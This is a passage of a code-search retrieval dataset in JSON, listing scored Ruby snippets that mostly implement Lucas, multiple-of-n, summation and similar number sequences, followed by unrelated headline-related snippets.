return [2,1] if length == 2\n return lucas_sequence(length-1) + [lucas_sequence(length-1)[length-2]+lucas_sequence(length-2)[length-3]] \nend", "title": "" }, { "docid": "417670d2d83b88d77c98079747f9f5f5", "score": "0.66621697", "text": "def lucas_sequence(len)\n\n return [] if len == 0\n return [2] if len == 1\n return [2,1] if len == 2\n \n seq = lucas_sequence(len-1) # seq = l_s(3-1) == seq(2) == [2,1]\n seq << seq[-1] + seq[-2] #[2,1] << 2 + 1\n seq #[2,1,3]\n\nend", "title": "" }, { "docid": "7fc262ce25c6f007165a8b4a64e6b2f5", "score": "0.66575915", "text": "def lucas_sequence(length)\n return [] if length == 0\n return [2] if length == 1\n return [2,1] if length == 2\n\n seq = lucas_sequence(length - 1)\n seq << seq[-1] + seq[-2]\n return seq\nend", "title": "" }, { "docid": "dcf65f69246eed11f954a74a679f0455", "score": "0.66309714", "text": "def sequence(count, start)\n final_arr = []\n 1.upto(count) do |num|\n final_arr << num * start\n end\n final_arr\nend", "title": "" }, { "docid": "76c9d3c5578605a2bc3b46e855bcd364", "score": "0.6616806", "text": "def sequence(count, start)\n seq = []\n count.times { |i| seq << start * (i + 1) }\n seq\nend", "title": "" }, { "docid": "3d11e850a2009a621ed51bbc60989654", "score": "0.6614688", "text": "def lucas_sequence(length)\n return [] if length == 0\n return [2] if length == 1\n return [2, 1] if length == 2\n\n seq = lucas_sequence(length - 1)\n next_part = seq[-1] + seq[-2]\n seq << next_part\n seq\nend", "title": "" }, { "docid": "34a01cfb0b2a936dd82fc549bda83abe", "score": "0.66130614", "text": "def lucas_sequence(len)\n if len == 0\n return []\n elsif len == 1\n return [2]\n elsif len == 2\n return [2, 1]\n end\n\n arr = lucas_sequence(len - 1) \n arr << arr[-1] + arr[-2]\nend", "title": "" }, { "docid": "8a12a24c84bf9ac6cc57d0a30f0a3a42", "score": "0.66120493", "text": "def sequence(count, start)\n sequence = []\n current = start\n\n count.times do\n sequence << current\n current += start\n end\n\n sequence\nend", "title": "" }, { "docid": "02b4f0dd2269f60084407ade3b7ed562", "score": "0.6598264", "text": "def summation_sequence(start, length)\n\tarry = []\n (1..length).each do |count|\n if count == 1\n arry << start\n else\n x = 0\n (1..arry[-1]).each do |i|\n x += i\n end\n arry << x\n \tend\n end\n return arry\nend", "title": "" }, { "docid": "e87d3503259c9861a9d8c6e0ad3ecc98", "score": "0.6507688", "text": "def lucas_sequence(len)\n seq = []\n case len\n when 0 then return seq\n when 1 then return [2]\n when 2 then return [2, 1]\n else\n prevSeq = lucas_sequence(len-1)\n newVal = prevSeq[-2] + prevSeq[-1]\n return prevSeq << newVal\n end\nend", "title": "" }, { "docid": "c35fc965784cc9eb6d60a74bff9e1024", "score": "0.65003353", "text": "def sequence(multiple, starting_num)\n return [] if multiple == 0\n counter = 1\n array = []\n loop do\n array << counter * starting_num\n counter += 1\n break if counter > multiple\n end\n array\nend", "title": "" }, { "docid": "b312cf13cf930ac3ad985c5a3591188f", "score": "0.64973545", "text": "def lucas_sequence(length)\n return [] if length == 0\n return [2] if length == 1\n return [2, 1] if length == 2\n \n seq = lucas_sequence(length - 1)\n next_el = seq[-1] + seq[-2]\n seq << next_el\n seq\nend", "title": "" }, { "docid": "ff2bbece1f6e77bf2a4d4d90845bb11e", "score": "0.6427683", "text": "def sequence(count, starting_num)\n result_arr = []\n 1.upto(count) { |num| result_arr << starting_num * num }\n result_arr\nend", "title": "" }, { "docid": "dfd713916cf016062944a82bac8b979f", "score": "0.6422199", "text": "def sequence(count, start)\n (1..count).map { |count| count * start }\nend", "title": "" }, { "docid": "e4dd636c915c31a53e51dbe77b04d45c", "score": "0.6399598", "text": "def lucas_sequence(len)\n return [] if len <= 0\n return [2] if len == 1\n return [2, 1] if len == 2\n\n return lucas_sequence(len-1) << lucas_sequence(len-1)[-2..-1].sum\nend", "title": "" }, { "docid": "df1eeae03edba00ece45af567118dcf3", "score": "0.6385341", "text": "def sequence(count, start)\n (1..count).map { |i| i * start }\nend", "title": "" }, { "docid": "09435e441faaf2687a3469d71514b606", "score": "0.6374355", "text": "def sequence(num)\r\n new_arr = []\r\n (1..num).step(1) { |n| new_arr << n }\r\n new_arr\r\nend", "title": "" }, { "docid": "c6c8297d794749dc62b7e6eb31af09f7", "score": "0.63251066", "text": "def sequence(count, start_num)\n output_arr = [start_num] * count # populate with count, then just multiply\n output_arr.map.with_index do |num, idx|\n num * (idx + 1)\n end\nend", "title": "" }, { "docid": "c6021801f5fa8b076e4ee97525967f58", "score": "0.63088626", "text": "def sequence(count, start_num)\n (1..count).map { |idx| start_num * idx }\nend", "title": "" }, { "docid": "04518315340af75e611c85c9717000d6", "score": "0.6306396", "text": "def sequence(count, first_num)\n multiples = []\n count.times {|index| multiples[index] = first_num * (index +1) }\n multiples\nend", "title": "" }, { "docid": "07351fae5b471aa896652bc3688879d8", "score": "0.628976", "text": "def summation_sequence(start, length)\n new_arr = [start]\n\n # (1...length).each do |n|\n # new_arr << number_summation(new_arr[-1])\n # end\n\n # alternate solution\n while new_arr.length < length\n new_arr << number_summation(new_arr[-1])\n end\n\n return new_arr\nend", "title": "" }, { "docid": "2e1401f37151d374fb03a2e1b564b183", "score": "0.62732345", "text": "def sequence(int, int1)\n arr = []\n int.times {|i| arr << int1 + (int1 * i) }\n arr\nend", "title": "" }, { "docid": "21d1f2940753930762e0c4e2a993bf0b", "score": "0.6259695", "text": "def triangular_sequence(n)\n seq = []\n i = 1\n while i <= n\n seq << (i * (i + 1)) / 2\n i += 1\n end\n seq\nend", "title": "" }, { "docid": "450c61be03f5491f8ffe7094cec1a8db", "score": "0.6254607", "text": "def sequence(quantity, number)\n sequence = []\n counter = 1\n quantity.times do \n sequence << number * counter\n counter += 1\n end\n sequence\nend", "title": "" }, { "docid": "a20e7e1814d172e64c8f08d8a6abde22", "score": "0.62523717", "text": "def sequence(count, first_num)\n result = []\n multiple = 1\n\n count.times do \n result << first_num * multiple\n multiple += 1\n end\n result\nend", "title": "" }, { "docid": "87fd67e5fa60fc969818dae6786890eb", "score": "0.6247213", "text": "def pentagon_sequence(nth)\n sequence = []\n (1..nth).each do |n|\n sequence.push( n * (3 * n - 1) / 2 )\n end\n return sequence\nend", "title": "" }, { "docid": "18aa6424b8d440a80704072c90f6f794", "score": "0.6235525", "text": "def sequence(count, number)\n sequence_arr = []\n 1.upto(count) do |n|\n sequence_arr << number * n\n end\n sequence_arr\nend", "title": "" }, { "docid": "f5f142fb7c4977adc2d692ccfff519c2", "score": "0.6234832", "text": "def series_up(n) # Got help again. My first code couldn't adapt at all. This one has a reset limit, meaning it loops the amount of times it needs to for each interger. Still not perfect, but almost there. \n list = [1]\n i = 1\n length = n*(n+1)/2\n reset = 3\n list.push i\n i += 1\n if i == reset\n reset += 1\n end\n return list\nend", "title": "" }, { "docid": "0f0bd3729a18de712fc31f8595d2d45d", "score": "0.6216184", "text": "def triple(nums)\n nums.map {|num| num * 3}\nend", "title": "" }, { "docid": "df70afb5aee8f55874fef165f4c29634", "score": "0.6204986", "text": "def lucas_sequence(len)\nend", "title": "" }, { "docid": "a2b96efc6377f971e8e176e43651dd52", "score": "0.62038696", "text": "def sequence(count, first_nb)\n result = []\n count.times { |loop| result << (first_nb * (loop + 1)) }\n result\nend", "title": "" }, { "docid": "e5fc0019fc1417f931b0fc6e81eccc9b", "score": "0.6199846", "text": "def summation_sequence(start, length)\n arr = [start]\n i = 1\n\n while i < length\n arr << summation(arr[i-1])\n i += 1\n end\n\n return arr\nend", "title": "" }, { "docid": "d0a58ffff5514adac43efbde140d4301", "score": "0.6195173", "text": "def split_in_three(number, length1, length2)\n [number.slice(0, length1), number.slice(length1, length2), number.slice(length1 + length2, 10)]\n end", "title": "" }, { "docid": "58c4ee821ef1bb15d5498fcb7752a74f", "score": "0.61730194", "text": "def sequence(count, first)\n sequence = []\n number = first\n\n count.times do\n sequence << number\n number += first\n end\n sequence\nend", "title": "" }, { "docid": "ce99c304c943ee60a4d9401d39f1ef81", "score": "0.6133781", "text": "def lucas_sequence(n)\n return [] if n == 0\n return [2] if n == 1\n return [2,1] if n== 2\n\n result = lucas_sequence(n-1)\n result << result[-1] + result[-2]\n result\nend", "title": "" }, { "docid": "3abc801169341dac5c4fec23f6e65bfa", "score": "0.6104962", "text": "def sequence(count, first)\n (1..count).map { |idx| idx * first }\nend", "title": "" }, { "docid": "218b25f74d08edc36d1812d4d653cfe0", "score": "0.60996425", "text": "def sequence(count, integer)\n new_arr = []\n times = 1\n count.times do \n new_arr << integer * times\n times += 1\n end\n p new_arr\nend", "title": "" }, { "docid": "f33c650301d719ef5149368d908c256c", "score": "0.6077264", "text": "def sequence(num)\n result = []\n num.times{|i| result << i + 1}\n result\nend", "title": "" }, { "docid": "c9a5a13035e50bf0061f94a1bd598aa2", "score": "0.6073389", "text": "def lucas_sequence(num)\n return [] if num == 0\n return [2] if num == 1\n return [2,1] if num == 2\n prev = lucas_sequence(num-1)\n el = prev[-1] + prev[-2]\n prev << el\nend", "title": "" }, { "docid": "397d44c12192174bb05210017e99dc2d", "score": "0.6067458", "text": "def summation_sequence(start, length)\n arr = [start]\n\n (0...length-1).each do |i|\n summation = 0\n (0..arr[i]).each{|part| summation += part}\n arr << summation\n end\n\n arr\nend", "title": "" }, { "docid": "9c25780b04822c91d9b5e21511e49a10", "score": "0.60638005", "text": "def split_into_sequences(number)\n [\n [number[0..2], number[3..-1]], #-1 referees to the last element of the array\n [number[0..3], number[4..-1]],\n [number[0..4], number[5..-1]],\n [number[0..5], number[6..-1]],\n [number[0..6], number[7..-1]]\n ]\n end", "title": "" }, { "docid": "2ef887f4069e285c72e7edfec438aca0", "score": "0.60615766", "text": "def sequence(count, num)\n arr = []\n count.times{ |i| arr << (i+1) * num }\n arr\nend", "title": "" }, { "docid": "125d2b38c18406a5b07fee6335198e69", "score": "0.60519785", "text": "def summation_sequence(start, length)\n sequence = [start]\n while sequence.length < length\n sequence << summation(sequence[-1])\n end\n return sequence\nend", "title": "" }, { "docid": "fd0b7caa2f007d018d16de3c0a239f6f", "score": "0.60518295", "text": "def summation_sequence(start, length)\n \tseq = [start]\n \tcount = 0\n \twhile count < length-1\n\t\tsummation = 0\n \t(0..seq[-1]).each do |i|\n \t\tsummation += i\n \tend\n \tseq.push(summation)\n \tcount += 1\n end\n \treturn seq\nend", "title": "" }, { "docid": "125d2b38c18406a5b07fee6335198e69", "score": "0.60493374", "text": "def summation_sequence(start, length)\n sequence = [start]\n while sequence.length < length\n sequence << summation(sequence[-1])\n end\n return sequence\nend", "title": "" }, { "docid": "c41395f6b1e2d423c668d53e9cf14818", "score": "0.60306764", "text": "def sequence(number)\n (1..number).to_a\nend", "title": "" }, { "docid": "c41395f6b1e2d423c668d53e9cf14818", "score": "0.60306764", "text": "def sequence(number)\n (1..number).to_a\nend", "title": "" }, { "docid": "df93be5523eac381ff8b2845442d45bd", "score": "0.60203946", "text": "def sequence(count, num)\n seq_arr = []\n 1.upto(count) { |n| seq_arr << num * n }\n seq_arr\nend", "title": "" }, { "docid": "9909cd02bf07fccca1d67da92b219e46", "score": "0.6000639", "text": "def sequence(integer1, integer2)\n sequence_array = []\n current_value = integer2\n integer1.times do\n sequence_array << current_value\n current_value += integer2\n end\n sequence_array\nend", "title": "" }, { "docid": "a671a680f89d4c4d5cd1e44dc0effe23", "score": "0.59840983", "text": "def lucas_sequence(n)\n return [] if n == 0\n return [2] if n == 1\n return [2, 1] if n == 2\n\n sequence = lucas_sequence(n - 1)\n next_sequence = sequence[-1] + sequence[-2]\n sequence << next_sequence\nend", "title": "" }, { "docid": "be7cc5880c5e5eb794d88152d4bb87e8", "score": "0.5983559", "text": "def sequence(number)\n array_of_numbers = []\n \n 1.upto(number) do |num|\n array_of_numbers << num\n end\n \n array_of_numbers\n \nend", "title": "" }, { "docid": "ec8b5cc3af13da7cd177f5420571dfb5", "score": "0.5975689", "text": "def sequencer(num)\n array = []\n array << num\n until array.last == 1\n if num%2 == 0 \n num = num/2\n array << num \n else \n num = num*3 + 1\n array << num \n end \n end\n return array.length\nend", "title": "" }, { "docid": "77102a2ebd35f833995a90ca497cd2d8", "score": "0.59706175", "text": "def sequence(num)\n sequence_arr = []\n 1.upto(num) { |n| sequence_arr << n }\n sequence_arr\nend", "title": "" }, { "docid": "a9de0ec787e77981f5e97d21407f72cd", "score": "0.5965392", "text": "def sequence(count, first)\n (1..count).map { |value| value * first }\nend", "title": "" }, { "docid": "4fe602dee2ae3996cac9782cd585b999", "score": "0.5953978", "text": "def sequence(number)\n result = []\n 1.upto(number) {|e| result << e}\n result\nend", "title": "" }, { "docid": "0ad8a3586046df5173d0eb5da5025ee0", "score": "0.59477407", "text": "def tribonacci_number(length)\n return 1 if length == 1 || length == 2\n return 2 if length == 2 \n\n tri = [1,1,2]\n\n while tri.length < length\n tri << tri[-1] + tri[-2] + tri[-3]\n end\n tri.last\nend", "title": "" }, { "docid": "110c43329f89b75d1ba6e3740f412a0b", "score": "0.5947669", "text": "def sequence(n)\n results = []\n 1.upto(n) {|num| results << num}\n results\nend", "title": "" }, { "docid": "fec314c5b1fd205a098dafddda8a0daf", "score": "0.59427446", "text": "def times_three(nums)\n answer = []\n nums.each do |num|\n answer << num * 3\n end\n return answer\nend", "title": "" }, { "docid": "5e3bd3d25a34593b16879672fd1b04bc", "score": "0.59401685", "text": "def sequence(num)\n Array.new(num) { |i| i+1 }\nend", "title": "" }, { "docid": "8d498b466907d22dcf5d8e0ff70401b3", "score": "0.5927333", "text": "def pascals_triangle(num)\n ret_arr = [[1]]\n (num-1).times do #|idx|\n new_arr = [1]\n ((ret_arr[-1].length) -1).times do |j|\n new_arr << ret_arr[-1][j] + ret_arr[-1][j+1]\n end\n ret_arr.append(new_arr << 1)\n end\n ret_arr\nend", "title": "" }, { "docid": "3e6a93c5dd67ce4e3c364b32af71cd9a", "score": "0.59273154", "text": "def lucas_sequence(num)\n return [] if num == 0\n array = []\n (1..num).each { |n| array << lucas_number(n) }\n\n array\nend", "title": "" }, { "docid": "9eb3b6864675499fef68bf6a4b982b9f", "score": "0.59210116", "text": "def lucas_sequence(n)\n case n\n when -Float::INFINITY..0 then return []\n when 1 then return [2]\n when 2 then return [2, 1]\n end\n\n sequence = lucas_sequence(n - 1)\n sequence << sequence[-1] + sequence[-2]\nend", "title": "" }, { "docid": "f493f823308176635634f48e2128fd68", "score": "0.59172714", "text": "def sequence(number)\n result = []\n 1.upto(number) do |num|\n result << num\n end\n \n result\nend", "title": "" }, { "docid": "b4bd3835e10618b48a7b98b9bc73ef5b", "score": "0.5915095", "text": "def sequence(count, num)\n multiples = []\n count.times { |i| multiples.push(num * (i + 1)) }\n multiples\n # (1..count).map { |idx| idx * num }\nend", "title": "" }, { "docid": "18d6be4aa2987eb06dfba7ed2745504c", "score": "0.59015", "text": "def lucas_sequence(n)\n if n == 0\n []\n elsif n == 1\n [2]\n elsif n == 2\n [2, 1]\n else\n seq = lucas_sequence(n-1)\n seq << seq[-1] + seq[-2]\n end\nend", "title": "" }, { "docid": "447b53721520241a9fb20ac006ce26e6", "score": "0.58964396", "text": "def sequence(n1, n2)\n\n arr = []\n counter = 1\n \n while n1 >0\n loop do \n arr << n2 * counter\n counter +=1\n break if counter > n1\n end\n break\n end\narr\nend", "title": "" }, { "docid": "57a2a97e669cb39cf0afc08cfb3643c2", "score": "0.58951426", "text": "def slices(length)\n last = length - 1\n\t\tfirst = 0\n\n if last > sequence.length - 1\n raise ArgumentError, \"Sub-sequence length must be <= given sequence\"\n end\n\n sub_sequences = []\n\t\twhile last < sequence.length\n sub_sequences << sequence.slice(first..last)\n first += 1\n last += 1\n end\n sub_sequences\n\n\tend", "title": "" }, { "docid": "39abe905d942c41732a4f767201620a6", "score": "0.58823586", "text": "def sequence(num)\n sequence = []\n for nums in 1..num\n sequence << nums\n end\n sequence\nend", "title": "" }, { "docid": "679b2c687cd91e250153086a314fbbee", "score": "0.58807814", "text": "def triplify(arr)\n arr.map do |num|\n num * 3\n end\nend", "title": "" }, { "docid": "20d1e41e524b58a503f21268c5a71208", "score": "0.5874655", "text": "def lucas_sequence(n)\n if n == 0\n return []\n end\n if n == 1 \n return [2]\n end\n if n == 2\n return [2,1]\n end\n lucas_sequence(n-1) << lucas_sequence(n-1)[-1] + lucas_sequence(n-1)[-2]\nend", "title": "" }, { "docid": "705fe770edc329dcbb2e16a90a22693e", "score": "0.5872975", "text": "def sequence(number_of_multiples, multiplier)\n result = []\n (1..number_of_multiples).each { |number| result << number * multiplier }\n result\nend", "title": "" }, { "docid": "47865dba66affff057b9d9b1f04ea3ff", "score": "0.58687186", "text": "def sequence2(count, num)\n (1..count).to_a.map { |c| c * num }\nend", "title": "" }, { "docid": "48a9f08da19660527b5be3dd1a4ebf98", "score": "0.58655494", "text": "def sequence(number_of_multiples, multiplier)\n return [] if number_of_multiples == 0\n result = []\n current_number = 1\n loop do\n result << current_number * multiplier\n current_number += 1\n break if current_number > number_of_multiples\n end\n result\nend", "title": "" }, { "docid": "8908fa73679e2a29119d4961b203946d", "score": "0.5856915", "text": "def lucas_sequence(n)\n return [] if n <= 0\n return [2] if n == 1\n return [2, 1] if n == 2\n\n lucas_sequence(n - 1) << lucas_sequence(n - 1)[-1] + lucas_sequence(n - 1)[-2]\nend", "title": "" }, { "docid": "c1aa0b2e39ea8110f7e74386e2d3605f", "score": "0.5830191", "text": "def rotate3(nums, k)\n k.times do\n nums.unshift(nums.pop)\n end\n nums\nend", "title": "" }, { "docid": "e3037094c6e65f62a9cb37a1c71a4e45", "score": "0.582922", "text": "def sequence(count, skip)\n result = []\n return result if count.zero?\n count.times do |x|\n result << skip * (x + 1)\n end\n result\nend", "title": "" }, { "docid": "b6740b16571751d3683e1e5941394584", "score": "0.5828993", "text": "def sequence(int)\n array = []\n 1.upto(int) do |num|\n array << num\n end\n array\nend", "title": "" }, { "docid": "be01ce3580abae07a7208b017660eebf", "score": "0.58190095", "text": "def seqlist(first,c,l)\n\t\tx = []\n l.times do |i|\n x[i]=(first + c*i)\n \tend\n x\nend", "title": "" }, { "docid": "cd7061b9f750463db25ecf955109ca32", "score": "0.5816261", "text": "def summation_sequence(start, length)\n summations = [start]\n while summations.length < length\n summations << summation(summations[-1])\n end\n\n return summations\nend", "title": "" }, { "docid": "050d4d23330b71c0ce3f9d7b803177be", "score": "0.5816071", "text": "def summation_sequence(start, length)\n seq = [start]\n \n while seq.length < length\n last_ele = seq[-1]\n\tseq << summation(last_ele)\n\t\n end\n \n return seq\nend", "title": "" }, { "docid": "a8fc0e96628f9d70f1158bd5e3759473", "score": "0.58080477", "text": "def lucasSequence(n)\n if n == 0\n return []\n elsif n == 1\n return [2]\n elsif n == 2\n return [2,1]\n end\n\n seq = lucasSequence(n-1)\n seq << seq[-1] + seq[-2]\n seq\nend", "title": "" }, { "docid": "9a7a6522c1da89d93e5574b47245240d", "score": "0.57913196", "text": "def take_all_by_3(ary)\n ary.map.with_index { |x, i| [x, ary[i + 1], ary[i + 2]] }\n end", "title": "" }, { "docid": "da9911d30e98117b0743d8e6e5da12a1", "score": "0.57872534", "text": "def sequence(num)\n (1..num).to_a\nend", "title": "" }, { "docid": "da9911d30e98117b0743d8e6e5da12a1", "score": "0.57872534", "text": "def sequence(num)\n (1..num).to_a\nend", "title": "" }, { "docid": "da9911d30e98117b0743d8e6e5da12a1", "score": "0.57872534", "text": "def sequence(num)\n (1..num).to_a\nend", "title": "" }, { "docid": "b0a4f55a8c57a357e4231c185bc98f58", "score": "0.5785917", "text": "def collatz_sequence\n n = self\n results = []\n\n until n == 1\n results << n\n n = n.even? ? n / 2 : n * 3 + 1\n end\n\n results\n end", "title": "" }, { "docid": "ceb2218a492f8e0f7131e3205d691ff7", "score": "0.578451", "text": "def summation_sequence(start, length)\n\tseq = [start]\n \twhile seq.length < length \t\n \tseq << sum(seq[-1])\n end\n \treturn seq\nend", "title": "" } ]
05ab502d8de8367135836ced8df42aee
HeadlineWidget (not binary) headline :string
[ { "docid": "12dcda55493a0ee4b505f98396bfbca1", "score": "0.5808547", "text": "def summary\n self.headline + \" - \"\n end", "title": "" } ]
[ { "docid": "c615c9c44ec675af95a47917c42ffda2", "score": "0.7278461", "text": "def headline; end", "title": "" }, { "docid": "5c8051b8300526afbddbedd54a428dce", "score": "0.7107233", "text": "def headline(value=nil)\n @headline ||= value || self.presentation_name.pluralize\n end", "title": "" }, { "docid": "784bfa9d2a8915682b73485e54ba1386", "score": "0.69007874", "text": "def headline(page_headline)\n content_for(:headline) { page_headline }\n end", "title": "" }, { "docid": "8fe9ed2e7ed355543ebbb7c9a963057e", "score": "0.6814122", "text": "def headline_string( string )\n\t\t\treturn hl( string ).color( :headline )\n\t\tend", "title": "" }, { "docid": "2a29680cc17e9ce3932799261c7b8afb", "score": "0.6806951", "text": "def headline_string( string )\n\t\t\treturn hl.headline( string )\n\t\tend", "title": "" }, { "docid": "2a29680cc17e9ce3932799261c7b8afb", "score": "0.6806951", "text": "def headline_string( string )\n\t\t\treturn hl.headline( string )\n\t\tend", "title": "" }, { "docid": "2d812986b45d0e14dd5f693b2541f186", "score": "0.667755", "text": "def headline\n title || \"#{self.class.name} #{self.id}\"\n end", "title": "" }, { "docid": "f97875dc1d0a5ab1304a06b0c0f4185f", "score": "0.6676945", "text": "def headline?\n self.type == :headline\n end", "title": "" }, { "docid": "38163cab227bb2cf9575bae835f70503", "score": "0.6570024", "text": "def set_headline\n @headline = Headline.find(params[:id])\n end", "title": "" }, { "docid": "64d2c39643057bf4b570f255c804978e", "score": "0.65302604", "text": "def add_manual_headline\n\tshow_message(\"Enter your headline here: \")\n\ttitle = get_input\n\tshow_message(\"Enter your source: \")\n\tsource = get_input\n\tHeadlineBoard.add_headlines(Title.new(title, source))\nend", "title": "" }, { "docid": "f390c2a9ba01c5cc93bf996b412b01d3", "score": "0.64643854", "text": "def widget_header(title, options = {})\n pre_title = '<div class=\"bheadl\"></div><div class=\"bheadr\"></div>'.html_safe\n title = content_tag :h2, title\n\n right =\n if @widget_options[:header_html]\n @widget_options[:header_html]\n else\n tabs = @widget_options[:tabs] || options[:tabs]\n\n if tabs.present? && horizontal_tabs?\n tabs_to_list tabs, :ul => { :class => :tabs }\n else\n ''\n end\n end\n \n content_tag :div, pre_title + title + right, :class => :block_head\n end", "title": "" }, { "docid": "d6378252493d5b574a02bb96755e55ab", "score": "0.6377561", "text": "def head h\r\n @head = h.strip unless @head\r\n end", "title": "" }, { "docid": "3025a51dd8d7aecfd43231100a7f8faa", "score": "0.62865865", "text": "def headlines() [ \"Rent videos!\" ] end", "title": "" }, { "docid": "735d665ad3893aa90d4949e3987af638", "score": "0.62609464", "text": "def section_header(headline)\n \"<header><div class='line-container'><h2><span>#{headline}</span></h2></div></header>\"\nend", "title": "" }, { "docid": "801a78909f537a87e6de856e2966c861", "score": "0.623237", "text": "def headline_link\n link_to blog_comment.blog.headline, blog_comment.blog\n end", "title": "" }, { "docid": "c3a10bcc943df440432b1b51c3e31419", "score": "0.62215096", "text": "def output_head\n output_line(@title)\n end", "title": "" }, { "docid": "1d5808d465d438aebb843003a2d392b0", "score": "0.6218295", "text": "def headline_link\n link_to blog.headline, blog\n end", "title": "" }, { "docid": "a99ed3f25298f82a8ca83e66740abf5d", "score": "0.62047344", "text": "def parse_headline(line)\n line.gsub(\"#\", \"\").gsub(\"\\n\", \"\").sub(\" \", \"\")\n end", "title": "" }, { "docid": "0911c866863799324795b7ded950a5e7", "score": "0.6176742", "text": "def heading\n base_heading = \"Web Design\"\n if @heading.nil?\n base_heading\n else\n \"#{base_heading} | #{@heading}\"\n end\n end", "title": "" }, { "docid": "4bba7c8353b6e86ddd5b2191860bb2e7", "score": "0.6165112", "text": "def h1(content)\n text content, size: 20, style: :bold\n gap 10\n end", "title": "" }, { "docid": "ce18cd0367c2ec6ea51fc121015d1fb6", "score": "0.61456096", "text": "def heading\n\t\ttitle\n\tend", "title": "" }, { "docid": "bd704d21d6ebd9d5318abe2ff4f7f87d", "score": "0.61314636", "text": "def format_headline(item, num)\n ''.concat(\"#{ num.next }. #{ item.title } \")\n .concat(\"(#{ convert_date(item.pubDate) })\")\n .concat(\" - #{ LinkShrink.shrink_url(item.link) }\")\n end", "title": "" }, { "docid": "5130fc4ade33daee3e24b78efd37e0bd", "score": "0.61260265", "text": "def name\n headline\n end", "title": "" }, { "docid": "5130fc4ade33daee3e24b78efd37e0bd", "score": "0.61260265", "text": "def name\n headline\n end", "title": "" }, { "docid": "0f3e790460809a0f942ea853117a59cc", "score": "0.6122183", "text": "def render_heading\n transparent(0.25) do\n font('Sans Serif', style: :bold) {text_box @text, heading_options}\n end if @text\n end", "title": "" }, { "docid": "7c90d3f906be42bde6c7679607f0e15f", "score": "0.6118306", "text": "def heading\n\t\tname + \" #{generic_heading}\"\n\tend", "title": "" }, { "docid": "1f160fa6c5056407d3df3e7a18a1b55f", "score": "0.60943115", "text": "def print_headline\n\tp \"Welcome to Teddit a text based news aggregator. Get today\\'s news tomorrow!\"\nend", "title": "" }, { "docid": "9a761f7b6e09ff6cc6092a5314c39bf3", "score": "0.607886", "text": "def phc_title_tagline(phc_page_title_tagline)\n content_for :phc_title_tagline, phc_page_title_tagline.to_s\n end", "title": "" }, { "docid": "f32272a66522ea88227cfb573b1ff1f0", "score": "0.6072414", "text": "def set_nfl_headline\n @nfl_headline = NflHeadline.find(params[:id])\n end", "title": "" }, { "docid": "f95d632bb2b1f6172a56173d10f9a55a", "score": "0.60698235", "text": "def get_headlines\n @doc.css('a.title')\n end", "title": "" }, { "docid": "cdd2877cd6c221bd290006f221bd37a5", "score": "0.6066097", "text": "def title\n begin\n\n title = @search_data.at_css('#title-overview-widget h1.header')\n .text.strip\n\n rem_title = @search_data.at_css('#title-overview-widget h1.header .nobr')\n .text.strip\n\n title.gsub(rem_title,'').strip\n\n rescue NoMethodError => e\n ''\n end\n end", "title": "" }, { "docid": "fc1b61007df8b7c841b1b526ded79db4", "score": "0.6026828", "text": "def kind\n @page.css('.headline').text.split('-').first.strip\n end", "title": "" }, { "docid": "48650a6472c1db58cabcede8d16db7e4", "score": "0.60125434", "text": "def set_headline_adlib\n @headline_adlib = HeadlineAdlib.find(params[:id])\n end", "title": "" }, { "docid": "124bb0aa165ca09be35001c7ecff811e", "score": "0.6006132", "text": "def title\n return '' if @wikitext.blank?\n # get the first non-blank line\n title = @wikitext.strip.lines.first.chomp\n # remove header markup for level 2 or lower\n title.gsub(/==+/, '').strip\n end", "title": "" }, { "docid": "1c7150f1ebdd659cb323fbe6cc2ba3fb", "score": "0.60059816", "text": "def headlines\n # start w the set name, then remove \"the\" from the front, \"series\" from the end\n setText.match(/^(the ?)?(.*?)( ?(series|set|vol.?|volume) *[0-9]*?)?$/)\n text = $2\n\n headline = \"Rent #{text} DVDs\"\n headline = \"#{text} DVDs\" if (headline.length > AdwordsEngine::MaxTitleLen)\n headline = \"#{text}\" if (headline.length > AdwordsEngine::MaxTitleLen)\n headline = nil if (headline.length > AdwordsEngine::MaxTitleLen)\n return [ headline ] if ! headline.nil?\n \n titles.sort_by { | tt| tt.ordinal }[0].categories[0].headlines.select { |headline| headline.length > AdwordsEngine::MaxTitleLen } \n end", "title": "" }, { "docid": "749ab57ea35dcc608d7dbad8ce7a6940", "score": "0.5985213", "text": "def heading= h\n @heading = h\n end", "title": "" }, { "docid": "5585c92968dc6ae976479308cf2607ed", "score": "0.5985085", "text": "def heading\n\t\tif title.empty?\n\t\t\t\"Note\"\n\t\telse\n\t\t\ttitle\n\t\tend\n\tend", "title": "" }, { "docid": "6f94c66ddc113e22ceae3b6e94f34a29", "score": "0.5982661", "text": "def headline_from_title\n title_parts.sort_by {|w| w.length }.reverse.first.strip\n end", "title": "" }, { "docid": "225cf625ee212056f506b4e27b46c6db", "score": "0.5980955", "text": "def set_api_v1_headline\n @api_v1_headline = Api::V1::Headline.find(params[:id])\n end", "title": "" }, { "docid": "2c9d0785e7b8e063df3f0310b1de46b4", "score": "0.59600073", "text": "def head_title(*args)\n inside_layout\n super\n end", "title": "" }, { "docid": "d871a8e5251bdc658a3106931bcdff9e", "score": "0.5957109", "text": "def headline_from_semantic_headlines\n headers = headings.select do |heading_hash|\n header_looks_like_headline?(heading_hash[:text])\n end\n\n header = headers.sort_by {|h| h[:text].length }.reverse.first\n header && header[:text]\n end", "title": "" }, { "docid": "fbf887566330325e4c4f813ec59f7c7d", "score": "0.5949888", "text": "def header\n ascii.title_screen\n end", "title": "" }, { "docid": "a1f4e9afd3d99ac3b9f331dd6f03545a", "score": "0.5925075", "text": "def print_header(headline)\n puts \"\\n\\n\" + \"#\" * 80\n puts \"### #{headline} \" + ( \"#\" * (80 - 5 - headline.length))\nend", "title": "" }, { "docid": "a1f4e9afd3d99ac3b9f331dd6f03545a", "score": "0.5925075", "text": "def print_header(headline)\n puts \"\\n\\n\" + \"#\" * 80\n puts \"### #{headline} \" + ( \"#\" * (80 - 5 - headline.length))\nend", "title": "" }, { "docid": "29e70bac6d79e5ae7d7a59eb7f8c35df", "score": "0.59152144", "text": "def render_document_heading(*args)\n display_title = fedora_resource_title\n if display_title\n options = args.extract_options!\n tag = options.fetch(:tag, :h4)\n content_tag(tag, display_title, itemprop: 'name')\n else\n super(*args)\n end\n end", "title": "" }, { "docid": "4fee2b51c664925a72aff5f336d745ec", "score": "0.5879058", "text": "def get_headlines\n @doc.css('a.title')\nend", "title": "" }, { "docid": "50c303546396e4510e991c6bb9365fe1", "score": "0.5875177", "text": "def header(text, header_level)\n $headCount = $headCount + 1\n \"<h%s id=\\\"%s-%d\\\">%s</h%s>\" % [header_level, text.parameterize, $headCount, text, header_level]\n end", "title": "" }, { "docid": "4b4ccbdc04986c8843d2b1dc4f24f298", "score": 